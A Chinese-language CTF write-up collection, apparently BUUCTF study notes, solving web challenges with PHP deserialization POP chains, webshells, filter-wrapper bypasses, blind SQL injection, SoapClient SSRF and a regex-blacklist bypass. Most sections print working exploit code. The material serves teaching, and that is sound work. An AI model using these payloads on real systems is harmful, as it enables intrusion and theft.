在PhpArrayAdapter类下的saveDeferred方法的入口参数item是实现了CacheItemInterface的,也就是item应该为实现了该接口的类的实例



在use下也看一下应该就是CacheItem了



故此有

namespace Symfony\Component\Cache{
final class CacheItem{
}
}

然后令include下的文件为/flag,固有:

namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/flag';
}
}

再然后回到触发点Tag...这个类,其中item为deferred这个数组的值,并且这里的item需要实现CacheItemInterface接口,也就是item为CacheItem类的实例,而pool就是phparrayadapter的实例即可



固有

    class TagAwareAdapter{
private $deferred = [];
private $pool;
public function __construct()
{
$this->deferred = array('xxx' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}

组合一下就是

namespace Symfony\Component\Cache{
final class CacheItem{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/flag';
}
}
class TagAwareAdapter{
private $deferred = [];
private $pool;
public function __construct()
{
$this->deferred = array('xxx' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}



还有一个可行的就是ProxyAdapter.php,思路差不多,执行点在这里



两个参数都可控,system('cat /flag')

<?php
namespace Symfony\Component\Cache;
class CacheItem{
protected $innerItem = "cat /flag";
}
namespace Symfony\Component\Cache\Adapter;
use Symfony\Component\Cache\CacheItem;
class TagAwareAdapter
{
private $deferred;
public function __construct()
{
$this->pool = new ProxyAdapter();
$this->deferred=array("xxx" => new CacheItem());
}
}
class ProxyAdapter
{
private $setInnerItem;
public function __construct()
{
$this->setInnerItem = "system";
}
}
$a = new TagAwareAdapter();
echo urlencode(serialize($a));

[ByteCTF 2019]EZCMS

首页是一个登录框,随便什么都能登陆进去:



登陆之后有一个文件上传功能和一个查看文件路径的功能,并且默认有一个.htaccess文件





当上传文件时提示不是admin

扫一下目录,发现有www.zip源码

在config.php处看到了



很明显是要用hashpump



改cookie,登陆,尝试上传php文件



看一下源码的过滤:



使用字符拼接绕过:

<?php
$a="syste";
$b="m";
$c=$a.$b;
$d=$c($_REQUEST['a']);
?>



但是直接访问会报错



猜测应该是.htaccess的问题,回头看一下源码,view.php



这里有一个创建File实例,并且参数都可控,看一下File类,在config.php里

class File{
public $filename;
public $filepath;
public $checker; ...
function __destruct()
{
if (isset($this->checker)){
$this->checker->upload_file();
}
}
}

这里有一个__destruct方法,并且$this->checker可控,可以用它做跳板,让$this->checker为一个类的实例,并且该类下没有upload_file方法,触发__call,发现只有Profile类满足条件:

class Profile{

    public $username;
public $password;
public $admin;
...
function __call($name, $arguments)
{
$this->admin->open($this->username, $this->password);
}
}

现在三个参数可控,也没有其他类可以用了,只能在open()上寻找突破口了

刚好php有一个内置类ziparchive



看一下可选参数:





如果存在就以空文档覆盖,这样就能去掉.htaccess了

我们可以用上面的链生成一个phar文件,上传,然后在filepath处phar://包含

<?php
class File{ public $filename;
public $filepath;
public $checker; function __construct($filename, $filepath)
{
$this->filepath = $filepath;
$this->filename = $filename;
$this->checker = new Profile();
}
}
class Profile{ public $username;
public $password;
public $admin; function __construct()
{
$this->username = "/var/www/html/sandbox/2c67ca1eaeadbdc1868d67003072b481/.htaccess";
$this->password = ZipArchive::OVERWRITE;
$this->admin = new ZipArchive();
}
}
$a = new File('xxx','xxx');
@unlink("1.phar");
$phar = new Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

运行生成1.phar,上传



不过这里不能直接用phar://包含,因为:



不能直接以phar://开头,可以php://filter/resource=phar://,如下:



直接访问php文件,若访问upload.php会再次生成.htaccess,upload.php:



[EIS 2019]EzPOP

访问?src=1得到源码:

class A

class A {

    protected $store;

    protected $key;

    protected $expire;

    public function __construct($store, $key = 'flysystem', $expire = null) {
$this->key = $key;
$this->store = $store;
$this->expire = $expire;
}
//遍历保留数组中相同的键
public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]); foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
} return $contents;
} public function getForStorage() {
$cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);
} public function save() {
$contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire);
} public function __destruct() {
if (!$this->autosave) {
$this->save();
}
}
}

cleanContents函数,其中array_intersect_key返回两个参数中键名相同的数据,也就是$path只能在下面10个里选

例如$content=["path"=>1,"xxx"=>2]经过该函数只会剩下["path"=>1]

    public function cleanContents(array $contents) {
$cachedProperties = array_flip([
'path', 'dirname', 'basename', 'extension', 'filename',
'size', 'mimetype', 'visibility', 'timestamp', 'type',
]); foreach ($contents as $path => $object) {
if (is_array($object)) {
$contents[$path] = array_intersect_key($object, $cachedProperties);
}
} return $contents;
}

getForStorage函数,调用上面的函数,返回得到$cleaned并且与$complete json编码

public function getForStorage() {
$cleaned = $this->cleanContents($this->cache); return json_encode([$cleaned, $this->complete]);
}

save函数,调用上面的函数,然后调用$store->set,但是A类并没有该函数,所以需要让$store=new B()

public function save() {
$contents = $this->getForStorage(); $this->store->set($this->key, $contents, $this->expire);
}

__destruct,调用save函数

  public function __destruct() {
if (!$this->autosave) {
$this->save();
}

A类:__destruct->A::save()同时B::set()->A::getForStorage()->A::cleanContents()

class B

class B {

    protected function getExpireTime($expire): int {
return (int) $expire;
} public function getCacheKey(string $name): string {
return $this->options['prefix'] . $name;
} protected function serialize($data): string {
if (is_numeric($data)) {
return (string) $data;
} $serialize = $this->options['serialize']; return $serialize($data);
} public function set($name, $value, $expire = null): bool{
$this->writeTimes++; if (is_null($expire)) {
$expire = $this->options['expire'];
} $expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
} $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
} $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data); if ($result) {
return $filename;
} return null;
} }

getExpireTime($expire)返回参数的整形

getCacheKey(string $name)将options['prefix'] 与 $name拼接

serialize($data)并不是序列化函数,可以控制$serialize = $this->options['serialize']

set($name, $value, $expire = null)函数

    public function set($name, $value, $expire = null): bool{
$this->writeTimes++; if (is_null($expire)) {
$expire = $this->options['expire'];
} $expire = $this->getExpireTime($expire);
$filename = $this->getCacheKey($name); $dir = dirname($filename); if (!is_dir($dir)) {
try {
mkdir($dir, 0755, true);
} catch (\Exception $e) {
// 创建失败
}
} $data = $this->serialize($value); if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
} $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data); if ($result) {
return $filename;
} return null;
}

直接看到file_put_contents,能将$data数据写入$filename

首先$data由$data = $this->serialize($value);得到,value是set传进来的参数,由于set是在A中调用的,所以value也就是$contents,顾名思义是内容,但是它在写入文件之前加上了一段其他代码,其中最关键的是exit()

$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;

导致php直接退出,也叫死亡退出?可以看一下p牛的文章:

https://www.leavesongs.com/PENETRATION/php-filter-magic.html?page=2#reply-list

看完应该差不多理解了,由于file_put_contents支持php协议,所以有以下两种方法:

base64解码,由于base64只能处理[0-9][a-z][A-Z]+\这些字符,所以就可以通过base64解码将<、?、空格等不认识的全部解释成乱码,这样php就不认为是一个正常的代码就不会执行,然后我们只要把shell编码即可,不过这里需要注意的是base64以4个字节为一组解码,所以要确保前面的无关数据要为4的倍数

可以数一下上面的数据,总共29个,所以再加3个凑成32个即可

php://filter/write=convert.base64-decode/resource=

字符串方法:strip_tags能去掉html标签,去掉标签后也不会被php识别,为了不让它把shell标签去掉我们还是得利用base64编码

php://filter/write=string.strip_tags|conver.base64-decode/resource=

$filename通过调用$this->getCacheKey($name)得到,也就是options['prefix'] 与 $name的拼接,最终payload如下:

<?php

class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public function __construct (){
$this->store = new B();
$this->key = "shell.php";
//expire是几都行
$this-> expire = 0;
$this->cache = array();
//确保__destruct能执行save()
$this->autosave = false;
//xxx=3+29=32
$this->complete = base64_encode("xxx" . base64_encode('<?php @system($_POST["a"]);?>'));
}
}
class B{
public $options = [
'serialize' => "base64_decode",
//防止数据压缩
'data_compress' => false,
'prefix' => "php://filter/write=convert.base64-decode/resource="
];
}
echo urlencode(serialize(new A()));

访问shell.php即可

[2020 新春红包题]1

改编自上面那题,只有getCacheKey做了改动

    public function getCacheKey(string $name): string {
// 使缓存文件名随机
$cache_filename = $this->options['prefix'] . uniqid() . $name;
if(substr($cache_filename, -strlen('.php')) === '.php') {
die('?');
}
return $cache_filename;
}

1.文件名中间被拼接上一个uniqid(),使文件名变成:

php://filter/write=convert.base64-decode/resource=xxxxxxxx(时间戳)/shell.php

可将文件名设为:/../shell.php/

2.文件名最后四个不能为.php

一种可以利用/../shell.php/.在遍历时会自动删除/.

payload:

<?php
class A{
protected $store;
protected $key;
protected $expire;
public $cache = [];
public $complete = true;
public function __construct () {
$this->store = new B();
$this->key = '/../shell.php/.';
$this->complete = base64_encode("xxx" . base64_encode('<?php @system($_POST["a"]);?>'));
}
} class B{
public $options = [
'serialize' => 'base64_decode',
'prefix' => 'php://filter/write=convert.base64-decode/resource=uploads/',
];
}
echo urlencode(serialize(new A()));

第二种使shell.jpg+.user.ini解析

.user.ini的内容为:

\nauto_prepend_file=shell.jpg

其他都一致

[强网杯 2019]Upload

登陆注册页面,注册一个账号登陆





测试发现无论上传什么文件都会被加上png后缀,如下,并且一个账号只能上传一个文件

../upload/2c67ca1eaeadbdc1868d67003072b481/f3ccdd27d2000e3f9255a7e3e2c48800.png

www.tar.gz获得源码,是一个tp5.1的框架



用phpstorm打开,发现有两处断点

Register.php



Index.php



大致知道是反序列化的考点,并且Register::__destruct()应该是入口函数

首先大致看一下各个代码的作用:

Register.php注册,有__destruct()函数

Index.php,最主要的就是login_check函数,并且发现其他函数执行前一般都会调用这个,应该是检查有没有登陆,最关键的是把cookie('user')反序列化了,所以payload应该放在cookie('user')里

Login.php登陆,没什么可用的

Profile.php,对文件进行操作,有__get,__call方法,看一下最主要的函数:upload_img

    public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
} if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)) {
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();
}else{
$this->error('Forbidden type!', url('../index'));
}
}else{
$this->error('Unknow file type!', url('../index'));
}
}

先login_check检查登陆,然后判断上传的文件是否为空,不为空则将文件信息赋值给

$this->filename_tmp,将文件名md5加密并拼接png赋值给$this->filename,进入ext_check判断后缀是否为png,将结果给$this->ext



继续走,由于前面已经被拼接上了png,所以肯定会进入if循环

                @copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";

然后将临时文件filename_tmp复制到filename,然后得到最终路径

如果我们先上传一个图片马,然后将filename_tmp=图片马路径,filename=xxx.php,经过复制便可达到getshell,所以要想办法在不上传文件的情况下调用upload_img

回到入口函数:

Register::__destruct()进入if,调用$this->checker的index(),将$this->checker=new Profile(),会调用Profile::_call:



那么此时$this->name=index,$args为空,进入if的代码就变成了:

$this->index();

调用了该类中不存在的成员变量,触发_get



_get会返回$this->except['index'],也就是$this->except['index'](),只要将except['index']=upload_img就能调用了

poc:

<?php
namespace app\web\controller;
class Register{
public $checker;
public $registed;
public function __construct()
{
//确保进入if
$this->registed = 0;
$this->checker = new Profile();
}
}
namespace app\web\controller;
class Profile{
public $filename_tmp;
public $filename;
public $ext;
public $except;
public function __construct()
{
$this->except=['index'=>'upload_img'];
$this->filename_tmp ="./upload/2c67ca1eaeadbdc1868d67003072b481/f3ccdd27d2000e3f9255a7e3e2c48800.png";
$this->filename = "./upload/shell.php";
$this->ext="png"; }
}
echo base64_encode(serialize(new Register()));

改cookie,刷新一下,访问

cat /flag

[FBCTF2019]RCEService



传入json格式的cmd

{"cmd":"ls"}



但是很多命令都不能用,源码过滤如下:

elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';

非预期:preg_match只能匹配第一行数据,所以用换行符换行:

{%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}//路径是找出来的



预期:

其实是pcre回溯次数限制绕过,参考p牛文章:

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

大致意思是正则回溯最大只有1000000,如果回溯次数超过就会返回flase,构造1000000个a,使回溯超过限制就会绕过正则匹配,限制次数在php.ini的pcre.backtrack_limit有,而不造成这个漏洞的方法就是使用强比较===

文章写的很详细了

payload:

import requests

payload = '{"cmd":"/bin/cat /home/rceservice/flag","zz":"' + "a"*(1000000) + '"}'
res = requests.post("http://af72594c-dbfc-4ef9-baa3-0738dbb5fdb9.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)

[HarekazeCTF2019]encode_and_encode

源码:

<?php
error_reporting(0); if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
} function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true); if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
} // no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

大概就是传一个json编码的数据,然后json解码,进行is_valid黑名单过滤,然后file_get_contents,再一次进行黑名单过滤,也就是既对原始数据,又对文件内容进行了过滤,由于json使支持unicode编码的,所以可以用unicode代替关键字,并用伪协议base64编码,payload:

{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

注意content-type是json形式的



或者raw也可以,反正hackbar怎么试都不行==,还是用burp或者postman吧

[De1CTF 2019]Giftbox

考点:sql盲注、命令执行、bypass(纯学习题==

首页是一个很漂亮的界面,看起来有点像linux



输入help看看能干嘛



先试一下这几个命令



看到了usage.md下又有几个命令,挨个试试



都需要先登陆,到此为止没有任何多余的信息了,尝试一下有无sql注入吧

login admin'and/**/'1'='1 admin
login admin'and/**/'1'='0 admin

回显不同应该可以盲注出密码了



接下来得先看看他是怎么传参的:



这个totp也不知道是什么,再请求一次看看:



搜一下

TOTP算法(Time-based One-time Password algorithm)是一种从共享密钥和当前时间计算一次性密码的算法

于是在/js/main.js中找到这个密钥和加密方式

并且上面的注释里也给出了提示

/*
[Developer Notes]
OTP Library for Python located in js/pyotp.zip
Server Params:
digits = 8
interval = 5
window = 1
*/

访问js/pyotp.zip会得到pyotp的包,应该是用来加载到python库里的,以防万一我用pip也装了一个

pip install pyotp

然后就是大佬们的骚操作了,用flask起一个本地服务并接受参数传到靶机,然后用sqlmap去跑,学习了:

import pyotp
import requests
import string
from flask import Flask
app=Flask(__name__)
totp=pyotp.TOTP('GAXG24JTMZXGKZBU',digits=8,interval=5)
s=requests.session()
fuzz=string.printable
@app.route('/username=<username>')
def hack(username):
url='http://1384eca1-f6f6-4649-87a5-46315b4f8f88.node3.buuoj.cn/shell.php'
username=(username).replace(' ','/**/')
params={
'a':'login {} admin'.format(username),
'totp':totp.now()
}
res = s.get(url,params=params)
return res.content
app.run(debug=True)

启动后测试一下:



python sqlmap.py -u "http://127.0.0.1:5000/username=admin*" -D giftbox -T users -C password --dump  --technique B

得到密码与hint:hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}



登上去:login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}

然后测一下

targeting a blaunch



发现$a="b",看一下hint:



应该是用eval执行的,然后就有个知识点,是关于php的变量的,可以看一下这篇文章:

https://xz.aliyun.com/t/4785

稍微总结一下:

1.php会处理双引号里面的东西,所以:

<?php
$a="abc";
$b="$a"; 输出abc
$b="\$a"; 输出$a
$b='$a'; 输出$a

2.如果{和$紧挨着也会表示一个变量,看一个例子:

$great = 'fantastic';

无效,输出: This is { fantastic}
echo "This is { $great}"; 有效,输出: This is fantastic
echo "This is {$great}";
echo "This is ${great}";

3.把上面两个结合一下:

<?php
$a="${phpinfo()}";
or
$a=${phpinfo()};



我的理解是:{}会将里面的内容执行,然后加上紧挨着的$,使之成为变量然后被取值,双引号也是同一个意思

可以将上述思路用起来:



返回错误没事,此时看到network里出现了phpinfo的数据,可以把它导成html到本地看



执行成功



看一下过滤:



而且还有open_basedir限制了目录

不过过滤方法是现成的:

chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/flag');

最好的方法就是写一个一句话,这样不用挨个去拼凑执行,不过由于yotp随时在变,直接在网页上试可能不容易执行,所以还是得用到python

exp:

import pyotp
import requests
totp=pyotp.TOTP('GAXG24JTMZXGKZBU',digits=8,interval=5)
url='http://1384eca1-f6f6-4649-87a5-46315b4f8f88.node3.buuoj.cn/shell.php'
s=requests.session()
def login():
params={
'a':'login admin hint{G1ve_u_hi33en_C0mm3nd-sh0w_hiiintttt_23333}',
'totp':totp.now()
}
return s.get(url,params=params)
def destruct():
params = {
'a': 'destruct',
'totp': totp.now()
}
s.get(url, params=params)
def launch():
params = {
'a': 'launch',
'totp': totp.now(),
#'w':'''print_r(scandir('.'));'''
#img是当前目录的一个文件夹,也可以改为其他当前目录文件夹
'w': '''chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');readfile('/flag');'''
}
return s.get(url, params=params)
def targeting(code,pos):
params = {
'a': 'targeting {} {}'.format(code,pos),
'totp': totp.now()
}
return s.get(url, params=params)
print(login().text)
###phpinfo测试
#targeting('a','phpinfo')
#targeting('b','{$a()}')
#print(launch().text)
destruct()
targeting('a','{$_GET{w}}')
targeting('b','${eval($a)}')
print(launch().text)



一些wp:

https://xz.aliyun.com/t/5967#toc-2

https://www.zhaoj.in/read-6170.html

[De1CTF 2019]ShellShellShell

考点:源码泄漏、反序列化、ssrf、审计

index.php~有源码,是这样一个结构:



先注册一个账号登上去看一下功能

/index.php?action=profile:



/index.php?action=publish:



可控参数只有publish页面的signature和mood,看一下publish源码:



跟进Customer::publish()

function publish()
{
if(!$this->check_login()) return false;
if($this->is_admin == 0)
{
if(isset($_POST['signature']) && isset($_POST['mood'])) { $mood = addslashes(serialize(new Mood((int)$_POST['mood'],get_ip())));
$db = new Db();
@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
return true;
else
return false;
}
}
...

接受参数,这里mood被转换为int类型所以只有signature完全可控,跟进Db::insert

    public function insert($columns,$table,$values){
//sign=
$column = $this->get_column($columns);
$value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
$nid =
$sql = 'insert into '.$table.'('.$column.') values '.$value;
$result = $this->conn->query($sql); return $result;
}

看一下get_column:

    private function get_column($columns){

        if(is_array($columns))
$column = ' `'.implode('`,`',$columns).'` ';
else
$column = ' `'.$columns.'` '; return $column;
}

会以`,`为连接符操作数组,并在两端加上反引号看个例子:



经过这个正则替换之后得到( 'a','b','c','d' )



然后放入insert语句:



跟进正则会将一对反引号替换成单引号的方式构造sql

这样插入的语句就变成了('a','b','c',sql#,'d'),为了不出错在#前再加一个),也就是('a','b','c',sql)#,'d')

然后sql就成功逃逸了,c的位置为signature,而sql的位置就是mood





获取admin密码:

import requests
import time
url = 'http://a341d17f-d4f2-40ca-82fa-07ab94f1bcd3.node3.buuoj.cn/index.php?action=publish'
cookies = {
#先登陆,然后换cookie
"PHPSESSID": "5qvnib1vvm2hs000cic5ep1qd4"
}
text=''
for i in range(1,33):
l=28
h=126
while abs(h - l) > 1:
mid=(l+h)/2
payload='c`,if(((ascii(mid((select password from ctf_users limit 1),{},1)))>{}),sleep(3),1))#'
data={
'signature':payload.format(i,mid),
'mood':0
}
now_t=time.time()
re=requests.post(url,data=data,cookies=cookies)
#print(re.text)
if time.time()-now_t > 3:
l=mid
else:
h=mid
mid_num = int((l+h+1) / 2)
text += chr(int(h))
print(text)

md5解密一下得到密码:jaivypassword

不过发现登不上去,回显You can only login at the usual address,在源码处找到这一段代码



user的值来源于ret



这里get_ip是由$_SERVER[''REMOTE_ADDR']获得的,需要ssrf



在use.php的showmess方法中找到反序列化函数



这里的row[2],为上面select查询中的mood,ssrf+反序列化,可用使用内置类Soapclient,并且下面还调用了一个getcountry的自定义方法,正好可用触发Soapclient::__call进行网络请求,如果不太了解Soapclient可以看一下这个

http://phoebe233.cn/index.php/archives/17/

还有个问题就是直接传mood会被强制转换为int并转义,所以要利用上面的注入,通过signature来控制mood的值

payload:

<?php
$target = "http://127.0.0.1/index.php?action=login";
$post_string = 'username=admin&password=jaivypassword&code=455443';//换code
$headers = array(
'Cookie: PHPSESSID=63hvboroouvftdoflnlrb14vl0',//换cookie
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'w4nder^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_string).'^^^^'.$post_string.'^^','uri'=>'hello'));
$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
echo '0x'.bin2hex($aaa);

具体方法如下:

开一个其他的浏览器,替换payload中的cookie和爆破后的code



运行一下得到序列化的hex值,在之前登陆的123账号上注入mood的值



发送ok之后自动跳转到index页面,触发showmess然后反序列化

此时mood应该=SoapClient这个类了,然后调用mood->getcountry(),触发SoapClient::__call,携带账号密码访问127.0.0.1/index.php?action=login达到ssrf,然后用之前的cookie即可登陆admin:



publish变成了文件上传,上传一个shell后蚁剑连接:

看一下/etc/hosts有个内网地址,或/proc/net/fib_trie,/proc/net/arp,/proc/net/route



我方法比较笨挨个去curl,最后在173.184.57.10发现



首先是一个过滤

$ext = end($filename);
if($ext==$filename[count($filename) - 1]){
die("try again!!!");
}

由于end会输出输入的最后一项值,可以通过如下bypass





跟进上面的规则构造如下:





剩下的就是怎么上传给内网了,可以先将这个代码放到靶机上:



然后用postman对该文件进行post,然后将html转换成php的cURL



得到PHP代码:



不过这里的文件内容的那几行会被直接替换成\r\n,所以需要手动改成:

@<?php system('cat /etc/flag*');\r\n //\r\n是为了符合post格式

原始:



替换后:



然后换一下curl地址,最终代码:

<?php

$curl = curl_init();

curl_setopt_array($curl, array(
CURLOPT_URL => "http://173.184.57.10",
CURLOPT_RETURNTRANSFER => true,
CURLOPT_ENCODING => "",
CURLOPT_MAXREDIRS => 10,
CURLOPT_TIMEOUT => 30,
CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
CURLOPT_CUSTOMREQUEST => "POST",
CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\nContent-Type: false\r\n\r\n@<?php system('cat /etc/flag*');\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\nshell.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../shell.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
CURLOPT_HTTPHEADER => array(
"cache-control: no-cache",
"content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW",
"postman-token: 09101c1a-04aa-7288-15ea-515cbc9c512b"
),
)); $response = curl_exec($curl);
$err = curl_error($curl); curl_close($curl); if ($err) {
echo "cURL Error #:" . $err;
} else {
echo $response;
}

然后放到靶机下访问:

BUUCTF知识记录的更多相关文章

  1. C#基础知识记录一

    C#基础知识记录一 static void Main(string[] args) { #region 合并运算符的使用(合并运算符??) 更多运算符请参考:https://msdn.microsof ...

  2. DataBase MongoDB基础知识记录

    MongoDB基础知识记录 一.概念: 讲mongdb就必须提一下nosql,因为mongdb是nosql的代表作: NoSQL(Not Only SQL ),意即“不仅仅是SQL” ,指的是非关系型 ...

  3. MongoDB基础知识记录

    MongoDB基础知识记录 一.概念: 讲mongdb就必须提一下nosql,因为mongdb是nosql的代表作: NoSQL(Not Only SQL ),意即“不仅仅是SQL” ,指的是非关系型 ...

  4. Web前端理论知识记录

      Web前端理论知识记录 Elena· 5 个月前 cookies,sessionStorage和localStorage的区别? sessionStorage用于本地存储一个会话(session) ...

  5. 关于Excel做表小知识记录

    关于Excel做表小知识记录 最近使用Excel做了一系列的报表,觉得这是个很神奇的东西哈哈哈,以前我可是一想到Excel就开始头疼的人...  能用代码或者SQL语句解决的问题绝不会愿意留在Exce ...

  6. Maven知识记录(一)初识Maven私服

    Maven知识记录(一)初识Maven私服 什么是maven私服 私服即私有的仓库.maven把存放文件的地方叫做仓库,我们可以理解成我门家中的储物间.而maven把存放文件的具体位置叫做坐标.我们项 ...

  7. Linux文件系统知识记录——ext2描述

    最近完成了一个编程作业,大致功能是给定一个文件名,给出该文件所在目录和其本身所占用的簇号等信息.笔者选用了Linux的ext系列文件系统作为实验对象,通过实验对ext2文件系统的存储和索引有了一个较为 ...

  8. Suctf知识记录&&PHP代码审计,无字母数字webshell&&open_basedir绕过&&waf+idna+pythonssrf+nginx

    Checkin .user.ini构成php后门利用,设置auto_prepend_file=01.jpg,自动在文件前包含了01.jpg,利用.user.ini和图片马实现文件包含+图片马的利用. ...

  9. 零散知识记录-一个MQ问题

    [背景]我有一项零散工作:维护大部门的一台测试公用MQ服务器.当大部分MQ被建立起来,编写了维护手册,大家都按照规程来后,就基本上没有再动过它了.周五有同学跟我反映登录不进去了,周日花了1个小时来解决 ...

随机推荐

  1. Linux常用命令英文全称与中文解释 (pwd、su、df、du等)

    https://blog.csdn.net/qq_40334837/article/details/83819735 Linux常用命令英文全称与中文解释 apt: Advanced Packagin ...

  2. RHEL7安装ZABBIX 3.2

    参考并结合: http://blog.sina.com.cn/s/blog_560130f20101bfou.html http://blog.itpub.net/20893244/viewspace ...

  3. mount命令实际操作样例

    本篇文章主要介绍了如何在Linux(CentOS 7)命令行模式安装VMware Tools,具有一定的参考价值,感兴趣的小伙伴们可以参考一下. 本例中为在Linux(以CentOS 7为例)安装VM ...

  4. Centos6.10-FastDFS-Storage.conf配置示例

    Centos610系列配置 # is this config file disabled # false for enabled # true for disabled disabled = fals ...

  5. 1.1、webrtc的历史和现状

    1.1.webrtc的历史和现状 本书目录 温馨提示:本书的内容,将按照顺序一一展开,上篇文章阐述本书的诞生的原因,推荐阅读方式等. 如果你还没有阅读上一篇文章(必读前言—— 作者的独白),我建议返回 ...

  6. Spring的事务实现原理

    主流程 Spring的事务采用AOP的方式实现. @Transactional 注解的属性信息 name                当在配置文件中有多个 TransactionManager , ...

  7. java使用bitmap求两个数组的交集

    一般来说int代表一个数字,但是如果利用每一个位 ,则可以表示32个数字 ,在数据量极大的情况下可以显著的减轻内存的负担.我们就以int为例构造一个bitmap,并使用其来解决一个简单的问题:求两个数 ...

  8. 【译】高级T-SQL进阶系列 (三)【中篇】:理解公共表表达式(CTEs)

    [译注:此文为翻译,由于本人水平所限,疏漏在所难免,欢迎探讨指正] 原文链接:传送门. 一个简单的CTE例子 如前所述,CTE‘s提供给你了一个方法来更容易的书写复杂的代码以提高其可读性.假设你有列表 ...

  9. jdk rpm安装实现

    wget   https://download.oracle.com/otn/java/jdk/8u211-b12/478a62b7d4e34b78b671c754eaaf38ab/jdk-8u211 ...

  10. Codeforces Round #575 (Div. 3) 题解

    比赛链接:https://codeforc.es/contest/1196 A. Three Piles of Candies 题意:两个人分三堆糖果,两个人先各拿一堆,然后剩下一堆随意分配,使两个人 ...